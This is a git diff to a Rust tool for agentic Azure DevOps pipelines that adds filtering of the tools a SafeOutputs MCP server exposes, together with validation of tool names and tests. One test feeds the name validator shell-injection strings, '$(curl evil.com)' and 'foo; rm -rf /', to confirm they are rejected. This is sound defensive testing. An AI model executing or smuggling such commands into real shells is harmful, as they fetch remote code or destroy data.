diff --git a/AGENTS.md b/AGENTS.md index ef02f93..b7b5086 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -605,6 +605,16 @@ Should be replaced with the comma-separated domain list for AWF's `--allow-domai The output is formatted as a comma-separated string (e.g., `github.com,*.dev.azure.com,api.github.com`). +## {{ enabled_tools_args }} + +Should be replaced with `--enabled-tools ` CLI arguments for the SafeOutputs MCP HTTP server. The tool list is derived from `safe-outputs:` front matter keys plus always-on diagnostic tools (`noop`, `missing-data`, `missing-tool`, `report-incomplete`). + +When `safe-outputs:` is empty (or omitted), this is replaced with an empty string and all tools remain available (backward compatibility). When non-empty, the replacement includes a trailing space to prevent concatenation with the next positional argument in the shell command. + +Tool names are validated at compile time: +- Names must contain only ASCII alphanumerics and hyphens (shell injection prevention) +- Unrecognized names (not in `ALL_KNOWN_SAFE_OUTPUTS`) emit a warning to catch typos + ## {{ cancel_previous_builds }} When `triggers.pipeline` is configured, this generates a bash step that cancels any previously queued or in-progress builds of the same pipeline definition. This prevents multiple builds from accumulating when the upstream pipeline triggers rapidly (e.g., multiple PRs merged in quick succession). diff --git a/src/compile/common.rs b/src/compile/common.rs index a75ae6b..5b203c7 100644 --- a/src/compile/common.rs +++ b/src/compile/common.rs @@ -671,29 +671,94 @@ pub fn generate_executor_ado_env(write_service_connection: Option<&str>) -> Stri } } -/// Safe-output names that require write access to ADO. -const WRITE_REQUIRING_SAFE_OUTPUTS: &[&str] = &[ - "create-pull-request", - "create-work-item", - "comment-on-work-item", - "update-work-item", - "create-wiki-page", - "update-wiki-page", - "add-pr-comment", - "link-work-items", - "queue-build", - "create-git-tag", - "add-build-tag", - "create-branch", - "update-pr", - "upload-attachment", - "submit-pr-review", - "reply-to-pr-review-comment", - "resolve-pr-review-thread", -]; +/// Returns true if the name contains only ASCII alphanumerics and hyphens. +/// This value is embedded inline in a shell command, so control characters +/// (including newlines) and whitespace must be rejected to prevent corruption. +fn is_safe_tool_name(name: &str) -> bool { + !name.is_empty() && name.chars().all(|c| c.is_ascii_alphanumeric() || c == '-') +} + +/// Generate `--enabled-tools` CLI args for the SafeOutputs MCP server. +/// +/// Derives the tool list from `safe-outputs:` front matter keys plus always-on +/// diagnostic tools. If `safe-outputs:` is empty, returns an empty string +/// (all tools enabled for backward compatibility). +/// +/// Non-MCP keys (like `memory`) are silently skipped — they are handled by the +/// executor and have no corresponding MCP route. +/// +/// Tool names are validated to contain only ASCII alphanumerics and hyphens +/// to prevent shell injection when the args are embedded in bash commands. +/// Unrecognized tool names emit a compile-time warning and are skipped. +pub fn generate_enabled_tools_args(front_matter: &FrontMatter) -> String { + use crate::tools::{ALL_KNOWN_SAFE_OUTPUTS, ALWAYS_ON_TOOLS, NON_MCP_SAFE_OUTPUT_KEYS}; + use std::collections::HashSet; + + if front_matter.safe_outputs.is_empty() { + return String::new(); + } + + // `seen` deduplicates across user keys and ALWAYS_ON_TOOLS (e.g. if the user + // configures `noop` explicitly, it shouldn't appear twice in the output). + let mut seen = HashSet::new(); + let mut tools: Vec = Vec::new(); + let mut user_tool_count = 0usize; + for key in front_matter.safe_outputs.keys() { + if !is_safe_tool_name(key) { + eprintln!( + "Warning: skipping invalid safe-output tool name '{}' (must be ASCII alphanumeric/hyphens only)", + key + ); + continue; + } + if NON_MCP_SAFE_OUTPUT_KEYS.contains(&key.as_str()) { + continue; + } + if !ALL_KNOWN_SAFE_OUTPUTS.contains(&key.as_str()) { + eprintln!( + "Warning: unrecognized safe-output tool '{}' — skipping (no registered tool matches this name)", + key + ); + continue; + } + user_tool_count += 1; + if seen.insert(key.clone()) { + tools.push(key.clone()); + } + } + + if user_tool_count == 0 { + // Every user-specified key was either invalid, unrecognized, or non-MCP + // (e.g. memory-only). Return empty to keep all tools available (backward compat). + return String::new(); + } + + // Always include diagnostic tools + for tool in ALWAYS_ON_TOOLS { + let name = tool.to_string(); + if seen.insert(name.clone()) { + tools.push(name); + } + } + + tools.sort(); + + let args = tools + .iter() + .map(|t| format!("--enabled-tools {}", t)) + .collect::>() + .join(" "); + + // Trailing space so the args don't concatenate with the next positional + // argument when embedded inline in the shell template. + // `args` is never empty here because ALWAYS_ON_TOOLS always contributes entries. + args + " " +} /// Validate that write-requiring safe-outputs have a write service connection configured. pub fn validate_write_permissions(front_matter: &FrontMatter) -> Result<()> { + use crate::tools::WRITE_REQUIRING_SAFE_OUTPUTS; + let has_write_sc = front_matter .permissions .as_ref() @@ -1637,4 +1702,88 @@ mod tests { ).unwrap(); assert!(validate_resolve_pr_thread_statuses(&fm).is_ok()); } + + // ─── Enabled tools args generation ────────────────────────────────── + + #[test] + fn test_generate_enabled_tools_args_empty_safe_outputs() { + let (fm, _) = parse_markdown( + "---\nname: test\ndescription: test\n---\n" + ).unwrap(); + let args = generate_enabled_tools_args(&fm); + assert!(args.is_empty(), "Empty safe-outputs should produce no args"); + } + + #[test] + fn test_generate_enabled_tools_args_with_configured_tools() { + let (fm, _) = parse_markdown( + "---\nname: test\ndescription: test\nsafe-outputs:\n create-pull-request:\n target-branch: main\n create-work-item:\n work-item-type: Task\n---\n" + ).unwrap(); + let args = generate_enabled_tools_args(&fm); + assert!(args.contains("--enabled-tools create-pull-request")); + assert!(args.contains("--enabled-tools create-work-item")); + // Always-on tools should also be included + assert!(args.contains("--enabled-tools noop")); + assert!(args.contains("--enabled-tools missing-data")); + assert!(args.contains("--enabled-tools missing-tool")); + assert!(args.contains("--enabled-tools report-incomplete")); + } + + #[test] + fn test_generate_enabled_tools_args_no_duplicates() { + // If a diagnostic tool is also in safe-outputs, it shouldn't appear twice + let (fm, _) = parse_markdown( + "---\nname: test\ndescription: test\nsafe-outputs:\n noop:\n max: 5\n---\n" + ).unwrap(); + let args = generate_enabled_tools_args(&fm); + let noop_count = args.matches("--enabled-tools noop").count(); + assert_eq!(noop_count, 1, "noop should appear exactly once"); + } + + #[test] + fn test_is_safe_tool_name() { + assert!(is_safe_tool_name("create-pull-request")); + assert!(is_safe_tool_name("noop")); + assert!(is_safe_tool_name("my-tool-123")); + assert!(!is_safe_tool_name("")); + assert!(!is_safe_tool_name("$(curl evil.com)")); + assert!(!is_safe_tool_name("foo; rm -rf /")); + assert!(!is_safe_tool_name("tool name")); + assert!(!is_safe_tool_name("tool\ttab")); + } + + #[test] + fn test_generate_enabled_tools_args_skips_unknown_tool() { + // An unrecognized (but safe-formatted) tool name should be skipped. + // When no valid MCP tools remain, return empty (all tools available). + let (fm, _) = parse_markdown( + "---\nname: test\ndescription: test\nsafe-outputs:\n crate-pull-request:\n target-branch: main\n---\n" + ).unwrap(); + let args = generate_enabled_tools_args(&fm); + assert!(!args.contains("crate-pull-request"), "Unrecognized tool should be skipped"); + assert!(args.is_empty(), "All-unrecognized safe-outputs should produce no args (all tools available)"); + } + + #[test] + fn test_generate_enabled_tools_args_skips_memory_key() { + // `memory` is a non-MCP executor-only key. It must not appear in + // --enabled-tools or it would cause real MCP tools to be filtered out. + let (fm, _) = parse_markdown( + "---\nname: test\ndescription: test\nsafe-outputs:\n memory:\n allowed-extensions:\n - .md\n create-pull-request:\n target-branch: main\n---\n" + ).unwrap(); + let args = generate_enabled_tools_args(&fm); + assert!(!args.contains("--enabled-tools memory"), "Non-MCP key 'memory' should be skipped"); + assert!(args.contains("--enabled-tools create-pull-request"), "Real MCP tool should be present"); + } + + #[test] + fn test_generate_enabled_tools_args_memory_only_does_not_filter() { + // When `memory` is the only safe-output key, no --enabled-tools args should + // be generated so all tools remain available (backward compat). + let (fm, _) = parse_markdown( + "---\nname: test\ndescription: test\nsafe-outputs:\n memory:\n allowed-extensions:\n - .md\n---\n" + ).unwrap(); + let args = generate_enabled_tools_args(&fm); + assert!(args.is_empty(), "memory-only safe-outputs should produce no args (all tools available)"); + } } diff --git a/src/compile/onees.rs b/src/compile/onees.rs index 8d06d5d..f9dc4ff 100644 --- a/src/compile/onees.rs +++ b/src/compile/onees.rs @@ -159,6 +159,12 @@ displayName: "Finalize""#, // Validate resolve-pr-review-thread has required allowed-statuses field validate_resolve_pr_thread_statuses(front_matter)?; + // NOTE: 1ES target does not support --enabled-tools filtering (safe-outputs + // tool filtering). 1ES uses service connections for MCP servers rather than + // mcp-http, so generate_enabled_tools_args is not called here. If safe-outputs + // filtering is needed for 1ES, it would require changes to the 1ES pipeline + // template and agency job configuration. + // Replace all template markers let compiler_version = env!("CARGO_PKG_VERSION"); let replacements: Vec<(&str, &str)> = vec![ diff --git a/src/compile/standalone.rs b/src/compile/standalone.rs index bc36487..9b087b7 100644 --- a/src/compile/standalone.rs +++ b/src/compile/standalone.rs @@ -17,12 +17,13 @@ use super::common::{ self, AWF_VERSION, COPILOT_CLI_VERSION, DEFAULT_POOL, MCPG_PORT, MCPG_VERSION, compute_effective_workspace, generate_acquire_ado_token, generate_cancel_previous_builds, generate_checkout_self, generate_checkout_steps, generate_ci_trigger, generate_copilot_ado_env, - generate_copilot_params, generate_executor_ado_env, generate_header_comment, - generate_job_timeout, generate_pipeline_path, generate_pipeline_resources, generate_pr_trigger, - generate_repositories, generate_schedule, generate_source_path, generate_working_directory, - replace_with_indent, sanitize_filename, validate_comment_target, - validate_resolve_pr_thread_statuses, validate_submit_pr_review_events, - validate_update_pr_votes, validate_update_work_item_target, validate_write_permissions, + generate_copilot_params, generate_enabled_tools_args, generate_executor_ado_env, + generate_header_comment, generate_job_timeout, generate_pipeline_path, + generate_pipeline_resources, generate_pr_trigger, generate_repositories, generate_schedule, + generate_source_path, generate_working_directory, replace_with_indent, sanitize_filename, + validate_comment_target, validate_resolve_pr_thread_statuses, + validate_submit_pr_review_events, validate_update_pr_votes, + validate_update_work_item_target, validate_write_permissions, }; use super::types::{FrontMatter, McpConfig}; use crate::allowed_hosts::{CORE_ALLOWED_HOSTS, mcp_required_hosts}; @@ -85,6 +86,9 @@ impl Compiler for StandaloneCompiler { // Generate comma-separated domain list for AWF let allowed_domains = generate_allowed_domains(front_matter); + // Generate --enabled-tools args for SafeOutputs tool filtering + let enabled_tools_args = generate_enabled_tools_args(front_matter); + // Pool name let pool = front_matter .pool @@ -183,6 +187,7 @@ impl Compiler for StandaloneCompiler { ("{{ working_directory }}", &working_directory), ("{{ workspace }}", &working_directory), ("{{ allowed_domains }}", &allowed_domains), + ("{{ enabled_tools_args }}", &enabled_tools_args), ("{{ agent_content }}", markdown_body), ("{{ acquire_ado_token }}", &acquire_read_token), ("{{ copilot_ado_env }}", &copilot_ado_env), diff --git a/src/main.rs b/src/main.rs index 6ff98ca..c4f575a 100644 --- a/src/main.rs +++ b/src/main.rs @@ -47,6 +47,9 @@ enum Commands { output_directory: String, /// Guard against directory traversal attacks by specifying the agent cannot influence folders outside this path bounding_directory: String, + /// Only expose these safe output tools (can be repeated). If omitted, all tools are exposed. + #[arg(long = "enabled-tools")] + enabled_tools: Vec, }, /// Execute safe outputs from Stage 1 (Stage 2 of the pipeline) Execute { @@ -84,6 +87,9 @@ enum Commands { output_directory: String, /// Guard against directory traversal attacks bounding_directory: String, + /// Only expose these safe output tools (can be repeated). If omitted, all tools are exposed. + #[arg(long = "enabled-tools")] + enabled_tools: Vec, }, /// Detect agentic pipelines and update GITHUB_TOKEN on their ADO definitions Configure { @@ -167,7 +173,11 @@ async fn main() -> Result<()> { Commands::Mcp { output_directory, bounding_directory, - } => mcp::run(&output_directory, &bounding_directory).await?, + enabled_tools, + } => { + let filter = if enabled_tools.is_empty() { None } else { Some(enabled_tools) }; + mcp::run(&output_directory, &bounding_directory, filter.as_deref()).await? + } Commands::Execute { source, safe_output_dir, @@ -273,8 +283,10 @@ async fn main() -> Result<()> { api_key, output_directory, bounding_directory, + enabled_tools, } => { - mcp::run_http(&output_directory, &bounding_directory, port, api_key.as_deref()) + let filter = if enabled_tools.is_empty() { None } else { Some(enabled_tools) }; + mcp::run_http(&output_directory, &bounding_directory, port, api_key.as_deref(), filter.as_deref()) .await?; } Commands::Configure { diff --git a/src/mcp.rs b/src/mcp.rs index 8384301..5875dff 100644 --- a/src/mcp.rs +++ b/src/mcp.rs @@ -63,6 +63,9 @@ fn generate_short_id() -> String { format!("{:06x}", (timestamp & 0xFFFFFF) as u32) } +// Re-export from tools module +use crate::tools::ALWAYS_ON_TOOLS; + // ============================================================================ // SafeOutputs MCP Server // ============================================================================ @@ -119,6 +122,7 @@ impl SafeOutputs { async fn new( bounding_directory: impl Into, output_directory: impl Into, + enabled_tools: Option<&[String]>, ) -> Result { let bounding_dir = bounding_directory.into(); let output_dir = output_directory.into(); @@ -142,10 +146,34 @@ impl SafeOutputs { debug!("Initializing safe output file"); ndjson::init_ndjson_file(&output_dir.join(SAFE_OUTPUT_FILENAME)).await?; + let mut tool_router = Self::tool_router(); + + // Filter tools if an enabled list is provided + if let Some(enabled) = enabled_tools { + let all_tools: Vec = tool_router.list_all().iter().map(|t| t.name.to_string()).collect(); + let total = all_tools.len(); + for tool_name in &all_tools { + let is_always_on = ALWAYS_ON_TOOLS.contains(&tool_name.as_str()); + let is_enabled = enabled.iter().any(|e| e == tool_name); + if !is_always_on && !is_enabled { + debug!("Filtering out tool: {}", tool_name); + tool_router.remove_route(tool_name); + } + } + // Warn about enabled-tools entries that don't match any registered route + for name in enabled { + if !all_tools.iter().any(|t| t == name) { + debug!("Enabled-tools entry '{}' has no matching route (ignored)", name); + } + } + let remaining: Vec = tool_router.list_all().iter().map(|t| t.name.to_string()).collect(); + info!("Tool filtering applied: {} of {} tools enabled: {:?}", remaining.len(), total, remaining); + } + Ok(Self { bounding_directory: bounding_dir, output_directory: output_dir, - tool_router: Self::tool_router(), + tool_router, }) } @@ -847,9 +875,9 @@ impl ServerHandler for SafeOutputs { } } -pub async fn run(output_directory: &str, bounding_directory: &str) -> Result<()> { +pub async fn run(output_directory: &str, bounding_directory: &str, enabled_tools: Option<&[String]>) -> Result<()> { // Create and run the server with STDIO transport - let service = SafeOutputs::new(bounding_directory, output_directory) + let service = SafeOutputs::new(bounding_directory, output_directory, enabled_tools) .await? .serve(stdio()) .await @@ -872,6 +900,7 @@ pub async fn run_http( bounding_directory: &str, port: u16, api_key: Option<&str>, + enabled_tools: Option<&[String]>, ) -> Result<()> { use axum::Router; use rmcp::transport::streamable_http_server::{ @@ -916,7 +945,7 @@ pub async fn run_http( // The factory closure runs on a Tokio worker thread, so we cannot // use block_on() inside it — that would panic with "Cannot start // a runtime from within a runtime". - let safe_outputs_template = SafeOutputs::new(&bounding, &output).await?; + let safe_outputs_template = SafeOutputs::new(&bounding, &output, enabled_tools).await?; let mcp_service = StreamableHttpService::new( move || Ok(safe_outputs_template.clone()), session_manager, @@ -989,7 +1018,7 @@ mod tests { async fn create_test_safe_outputs() -> (SafeOutputs, tempfile::TempDir) { let temp_dir = tempdir().unwrap(); - let safe_outputs = SafeOutputs::new(temp_dir.path(), temp_dir.path()) + let safe_outputs = SafeOutputs::new(temp_dir.path(), temp_dir.path(), None) .await .unwrap(); (safe_outputs, temp_dir) @@ -1050,7 +1079,7 @@ mod tests { #[tokio::test] async fn test_new_fails_with_invalid_bounding_directory() { let temp_dir = tempdir().unwrap(); - let result = SafeOutputs::new("/nonexistent/path", temp_dir.path()).await; + let result = SafeOutputs::new("/nonexistent/path", temp_dir.path(), None).await; assert!(result.is_err()); assert!( @@ -1064,7 +1093,7 @@ mod tests { #[tokio::test] async fn test_new_fails_with_invalid_output_directory() { let temp_dir = tempdir().unwrap(); - let result = SafeOutputs::new(temp_dir.path(), "/nonexistent/path").await; + let result = SafeOutputs::new(temp_dir.path(), "/nonexistent/path", None).await; assert!(result.is_err()); assert!(result.unwrap_err().to_string().contains("output_directory")); @@ -1238,4 +1267,123 @@ mod tests { assert_eq!(json["tool_name"], "my_tool"); assert_eq!(json["context"], "ctx"); } + + // ─── Tool filtering tests ─────────────────────────────────────────── + + #[tokio::test] + async fn test_tool_filtering_none_exposes_all() { + let temp_dir = tempfile::tempdir().unwrap(); + let so = SafeOutputs::new(temp_dir.path(), temp_dir.path(), None) + .await + .unwrap(); + let tools = so.tool_router.list_all(); + // Should have many tools (all registered) + assert!(tools.len() > 10, "Expected all tools, got {}", tools.len()); + } + + #[tokio::test] + async fn test_tool_filtering_specific_tools() { + let temp_dir = tempfile::tempdir().unwrap(); + let enabled = vec!["create-pull-request".to_string()]; + let so = SafeOutputs::new(temp_dir.path(), temp_dir.path(), Some(&enabled)) + .await + .unwrap(); + let tools = so.tool_router.list_all(); + let tool_names: Vec = tools.iter().map(|t| t.name.to_string()).collect(); + + // Should have create-pull-request + always-on tools + assert!(tool_names.contains(&"create-pull-request".to_string())); + assert!(tool_names.contains(&"noop".to_string())); + assert!(tool_names.contains(&"missing-data".to_string())); + assert!(tool_names.contains(&"missing-tool".to_string())); + assert!(tool_names.contains(&"report-incomplete".to_string())); + + // Should NOT have other tools + assert!(!tool_names.contains(&"create-work-item".to_string())); + assert!(!tool_names.contains(&"update-wiki-page".to_string())); + } + + #[tokio::test] + async fn test_tool_filtering_always_on_never_removed() { + let temp_dir = tempfile::tempdir().unwrap(); + // Enable only a tool that doesn't exist — should still have always-on tools + let enabled = vec!["nonexistent-tool".to_string()]; + let so = SafeOutputs::new(temp_dir.path(), temp_dir.path(), Some(&enabled)) + .await + .unwrap(); + let tools = so.tool_router.list_all(); + let tool_names: Vec = tools.iter().map(|t| t.name.to_string()).collect(); + + for always_on in ALWAYS_ON_TOOLS { + assert!( + tool_names.contains(&always_on.to_string()), + "Always-on tool '{}' should be present", + always_on + ); + } + } + + #[tokio::test] + async fn test_tool_filtering_multiple_tools() { + let temp_dir = tempfile::tempdir().unwrap(); + let enabled = vec![ + "create-pull-request".to_string(), + "create-work-item".to_string(), + "comment-on-work-item".to_string(), + ]; + let so = SafeOutputs::new(temp_dir.path(), temp_dir.path(), Some(&enabled)) + .await + .unwrap(); + let tools = so.tool_router.list_all(); + let tool_names: Vec = tools.iter().map(|t| t.name.to_string()).collect(); + + // All enabled tools should be present + for tool in &enabled { + assert!( + tool_names.contains(tool), + "Enabled tool '{}' should be present, got {:?}", + tool, + tool_names + ); + } + // Always-on tools should be present + for tool in ALWAYS_ON_TOOLS { + assert!( + tool_names.contains(&tool.to_string()), + "Always-on tool '{}' should be present, got {:?}", + tool, + tool_names + ); + } + // Non-enabled tools should be absent + assert!(!tool_names.contains(&"update-wiki-page".to_string()), + "Non-enabled tool should be filtered out"); + } + + /// Asserts that ALL_KNOWN_SAFE_OUTPUTS contains every tool registered in the + /// router (plus the non-MCP keys like "memory"). This prevents the list from + /// drifting when new tools are added to the router but not to the constant. + #[tokio::test] + async fn test_all_known_safe_outputs_covers_router() { + use crate::tools::ALL_KNOWN_SAFE_OUTPUTS; + + let temp_dir = tempfile::tempdir().unwrap(); + let so = SafeOutputs::new(temp_dir.path(), temp_dir.path(), None) + .await + .unwrap(); + let router_tools: Vec = so + .tool_router + .list_all() + .iter() + .map(|t| t.name.to_string()) + .collect(); + + for tool_name in &router_tools { + assert!( + ALL_KNOWN_SAFE_OUTPUTS.contains(&tool_name.as_str()), + "Tool '{}' is registered in the router but missing from ALL_KNOWN_SAFE_OUTPUTS in src/tools/mod.rs", + tool_name + ); + } + } } diff --git a/src/tools/add_build_tag.rs b/src/tools/add_build_tag.rs index 536ce23..8fca3a0 100644 --- a/src/tools/add_build_tag.rs +++ b/src/tools/add_build_tag.rs @@ -44,6 +44,7 @@ impl Validate for AddBuildTagParams { tool_result! { name = "add-build-tag", + write = true, params = AddBuildTagParams, /// Result of adding a tag to a build pub struct AddBuildTagResult { diff --git a/src/tools/add_pr_comment.rs b/src/tools/add_pr_comment.rs index b6672a5..33caa45 100644 --- a/src/tools/add_pr_comment.rs +++ b/src/tools/add_pr_comment.rs @@ -94,6 +94,7 @@ impl Validate for AddPrCommentParams { tool_result! { name = "add-pr-comment", + write = true, params = AddPrCommentParams, /// Result of adding a comment thread on a pull request pub struct AddPrCommentResult { diff --git a/src/tools/comment_on_work_item.rs b/src/tools/comment_on_work_item.rs index 6cfec4f..438c180 100644 --- a/src/tools/comment_on_work_item.rs +++ b/src/tools/comment_on_work_item.rs @@ -31,6 +31,7 @@ impl Validate for CommentOnWorkItemParams { tool_result! { name = "comment-on-work-item", + write = true, params = CommentOnWorkItemParams, /// Result of commenting on a work item pub struct CommentOnWorkItemResult { diff --git a/src/tools/create_branch.rs b/src/tools/create_branch.rs index 6df7166..a3873cb 100644 --- a/src/tools/create_branch.rs +++ b/src/tools/create_branch.rs @@ -77,6 +77,7 @@ impl Validate for CreateBranchParams { tool_result! { name = "create-branch", + write = true, params = CreateBranchParams, /// Result of creating a branch pub struct CreateBranchResult { diff --git a/src/tools/create_git_tag.rs b/src/tools/create_git_tag.rs index f7986f9..5f92e7f 100644 --- a/src/tools/create_git_tag.rs +++ b/src/tools/create_git_tag.rs @@ -81,6 +81,7 @@ impl Validate for CreateGitTagParams { tool_result! { name = "create-git-tag", + write = true, params = CreateGitTagParams, /// Result of creating a git tag pub struct CreateGitTagResult { diff --git a/src/tools/create_pr.rs b/src/tools/create_pr.rs index e42960c..1020364 100644 --- a/src/tools/create_pr.rs +++ b/src/tools/create_pr.rs @@ -188,6 +188,7 @@ pub struct CreatePrResult { impl crate::tools::ToolResult for CreatePrResult { const NAME: &'static str = "create-pull-request"; + const REQUIRES_WRITE: bool = true; } impl Sanitize for CreatePrResult { diff --git a/src/tools/create_wiki_page.rs b/src/tools/create_wiki_page.rs index 8c33664..0fc4273 100644 --- a/src/tools/create_wiki_page.rs +++ b/src/tools/create_wiki_page.rs @@ -57,6 +57,7 @@ impl Validate for CreateWikiPageParams { tool_result! { name = "create-wiki-page", + write = true, params = CreateWikiPageParams, /// Result of creating a wiki page pub struct CreateWikiPageResult { diff --git a/src/tools/create_work_item.rs b/src/tools/create_work_item.rs index cdde584..196d4aa 100644 --- a/src/tools/create_work_item.rs +++ b/src/tools/create_work_item.rs @@ -31,6 +31,7 @@ impl Validate for CreateWorkItemParams { tool_result! { name = "create-work-item", + write = true, params = CreateWorkItemParams, /// Result of creating a work item pub struct CreateWorkItemResult { diff --git a/src/tools/link_work_items.rs b/src/tools/link_work_items.rs index 71609cd..5ab3c66 100644 --- a/src/tools/link_work_items.rs +++ b/src/tools/link_work_items.rs @@ -79,6 +79,7 @@ impl Validate for LinkWorkItemsParams { tool_result! { name = "link-work-items", + write = true, params = LinkWorkItemsParams, default_max = 5, /// Result of linking two work items diff --git a/src/tools/mod.rs b/src/tools/mod.rs index 3897226..e3e7c3a 100644 --- a/src/tools/mod.rs +++ b/src/tools/mod.rs @@ -1,5 +1,6 @@ //! Tool parameter and result structs for MCP tools +use crate::{all_safe_output_names, tool_names}; use log::{debug, warn}; use percent_encoding::{AsciiSet, CONTROLS, utf8_percent_encode}; @@ -10,6 +11,81 @@ use percent_encoding::{AsciiSet, CONTROLS, utf8_percent_encode}; /// types) against accidental corruption of the URL structure. pub(crate) const PATH_SEGMENT: &AsciiSet = &CONTROLS.add(b'#').add(b'?').add(b'/').add(b' '); +/// Safe output tools that are always available regardless of filtering. +/// These are diagnostic/transparency tools that agents should always have access to. +/// +/// Derived from diagnostic tool types — adding a new diagnostic tool means adding +/// its type here and the name is extracted automatically via `ToolResult::NAME`. +pub const ALWAYS_ON_TOOLS: &[&str] = tool_names![ + NoopResult, + MissingDataResult, + MissingToolResult, + ReportIncompleteResult, +]; + +/// Safe-output tools that require write access to ADO. +/// Compile-time derived from tool types via `ToolResult::NAME`. +/// +/// Adding a new write-requiring tool: create the struct with `tool_result!{ write = true, ... }`, +/// then add its type to this list. +pub const WRITE_REQUIRING_SAFE_OUTPUTS: &[&str] = tool_names![ + CreateWorkItemResult, + CommentOnWorkItemResult, + UpdateWorkItemResult, + CreatePrResult, + CreateWikiPageResult, + UpdateWikiPageResult, + AddPrCommentResult, + LinkWorkItemsResult, + QueueBuildResult, + CreateGitTagResult, + AddBuildTagResult, + CreateBranchResult, + UpdatePrResult, + UploadAttachmentResult, + SubmitPrReviewResult, + ReplyToPrCommentResult, + ResolvePrThreadResult, +]; + +/// Non-MCP safe-output keys handled by the compiler/executor, not the MCP server. +/// These must not appear in `--enabled-tools` or they cause real MCP tools to be +/// filtered out (the router has no route for them). +pub const NON_MCP_SAFE_OUTPUT_KEYS: &[&str] = &["memory"]; + +/// All recognised safe-output keys accepted in front matter `safe-outputs:`. +/// This is the union of write-requiring tool types, diagnostic tool types, and +/// non-MCP safe-output keys (like `memory`). +/// +/// Derived at compile time from tool types — no hand-maintained string lists. +pub const ALL_KNOWN_SAFE_OUTPUTS: &[&str] = all_safe_output_names![ + // Write-requiring MCP tools + CreateWorkItemResult, + CommentOnWorkItemResult, + UpdateWorkItemResult, + CreatePrResult, + CreateWikiPageResult, + UpdateWikiPageResult, + AddPrCommentResult, + LinkWorkItemsResult, + QueueBuildResult, + CreateGitTagResult, + AddBuildTagResult, + CreateBranchResult, + UpdatePrResult, + UploadAttachmentResult, + SubmitPrReviewResult, + ReplyToPrCommentResult, + ResolvePrThreadResult, + // Always-on diagnostics + NoopResult, + MissingDataResult, + MissingToolResult, + ReportIncompleteResult; + // Non-MCP safe-output keys + "memory" +]; + /// Resolve the effective branch for a wiki. /// /// If `configured_branch` is `Some`, that value is returned directly. @@ -213,3 +289,85 @@ pub use update_pr::*; pub use update_wiki_page::*; pub use update_work_item::*; pub use upload_attachment::*; + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_write_requiring_subset_of_all_known() { + for name in WRITE_REQUIRING_SAFE_OUTPUTS { + assert!( + ALL_KNOWN_SAFE_OUTPUTS.contains(name), + "WRITE_REQUIRING_SAFE_OUTPUTS entry '{}' is missing from ALL_KNOWN_SAFE_OUTPUTS", + name + ); + } + } + + #[test] + fn test_always_on_subset_of_all_known() { + for name in ALWAYS_ON_TOOLS { + assert!( + ALL_KNOWN_SAFE_OUTPUTS.contains(name), + "ALWAYS_ON_TOOLS entry '{}' is missing from ALL_KNOWN_SAFE_OUTPUTS", + name + ); + } + } + + #[test] + fn test_non_mcp_keys_subset_of_all_known() { + for name in NON_MCP_SAFE_OUTPUT_KEYS { + assert!( + ALL_KNOWN_SAFE_OUTPUTS.contains(name), + "NON_MCP_SAFE_OUTPUT_KEYS entry '{}' is missing from ALL_KNOWN_SAFE_OUTPUTS", + name + ); + } + } + + /// Verify that every type in the write-requiring list actually has + /// `REQUIRES_WRITE == true`, and every diagnostic type has `false`. + #[test] + fn test_requires_write_consistency() { + // Write-requiring tools + assert!(CreateWorkItemResult::REQUIRES_WRITE); + assert!(CommentOnWorkItemResult::REQUIRES_WRITE); + assert!(UpdateWorkItemResult::REQUIRES_WRITE); + assert!(CreatePrResult::REQUIRES_WRITE); + assert!(CreateWikiPageResult::REQUIRES_WRITE); + assert!(UpdateWikiPageResult::REQUIRES_WRITE); + assert!(AddPrCommentResult::REQUIRES_WRITE); + assert!(LinkWorkItemsResult::REQUIRES_WRITE); + assert!(QueueBuildResult::REQUIRES_WRITE); + assert!(CreateGitTagResult::REQUIRES_WRITE); + assert!(AddBuildTagResult::REQUIRES_WRITE); + assert!(CreateBranchResult::REQUIRES_WRITE); + assert!(UpdatePrResult::REQUIRES_WRITE); + assert!(UploadAttachmentResult::REQUIRES_WRITE); + assert!(SubmitPrReviewResult::REQUIRES_WRITE); + assert!(ReplyToPrCommentResult::REQUIRES_WRITE); + assert!(ResolvePrThreadResult::REQUIRES_WRITE); + + // Diagnostic tools (should NOT require write) + assert!(!NoopResult::REQUIRES_WRITE); + assert!(!MissingDataResult::REQUIRES_WRITE); + assert!(!MissingToolResult::REQUIRES_WRITE); + assert!(!ReportIncompleteResult::REQUIRES_WRITE); + } + + /// Verify ALL_KNOWN_SAFE_OUTPUTS has exactly the right count: + /// write tools + diagnostics + non-MCP keys. + #[test] + fn test_all_known_completeness() { + let expected = WRITE_REQUIRING_SAFE_OUTPUTS.len() + + ALWAYS_ON_TOOLS.len() + + NON_MCP_SAFE_OUTPUT_KEYS.len(); + assert_eq!( + ALL_KNOWN_SAFE_OUTPUTS.len(), + expected, + "ALL_KNOWN_SAFE_OUTPUTS should be the union of write + diagnostic + non-MCP lists" + ); + } +} diff --git a/src/tools/queue_build.rs b/src/tools/queue_build.rs index 853c3f5..df1558c 100644 --- a/src/tools/queue_build.rs +++ b/src/tools/queue_build.rs @@ -52,6 +52,7 @@ impl Validate for QueueBuildParams { tool_result! { name = "queue-build", + write = true, params = QueueBuildParams, default_max = 3, /// Result of queuing a build diff --git a/src/tools/reply_to_pr_comment.rs b/src/tools/reply_to_pr_comment.rs index 2839aea..019fd05 100644 --- a/src/tools/reply_to_pr_comment.rs +++ b/src/tools/reply_to_pr_comment.rs @@ -47,6 +47,7 @@ impl Validate for ReplyToPrCommentParams { tool_result! { name = "reply-to-pr-review-comment", + write = true, params = ReplyToPrCommentParams, /// Result of replying to a review comment thread on a pull request pub struct ReplyToPrCommentResult { diff --git a/src/tools/resolve_pr_thread.rs b/src/tools/resolve_pr_thread.rs index 7d54cbd..9f0be94 100644 --- a/src/tools/resolve_pr_thread.rs +++ b/src/tools/resolve_pr_thread.rs @@ -75,6 +75,7 @@ impl Validate for ResolvePrThreadParams { tool_result! { name = "resolve-pr-review-thread", + write = true, params = ResolvePrThreadParams, /// Result of resolving or reactivating a PR review thread pub struct ResolvePrThreadResult { diff --git a/src/tools/result.rs b/src/tools/result.rs index 242e8f2..c5b2f58 100644 --- a/src/tools/result.rs +++ b/src/tools/result.rs @@ -15,6 +15,11 @@ pub trait ToolResult: Serialize { /// Default maximum number of outputs allowed per pipeline run. /// Each tool can override this; the operator can further override via `max` in front matter. const DEFAULT_MAX: u32 = 1; + + /// Whether this tool requires write access to ADO. + /// Write-requiring tools need a `permissions.write` service connection. + /// Diagnostic/read-only tools default to `false`. 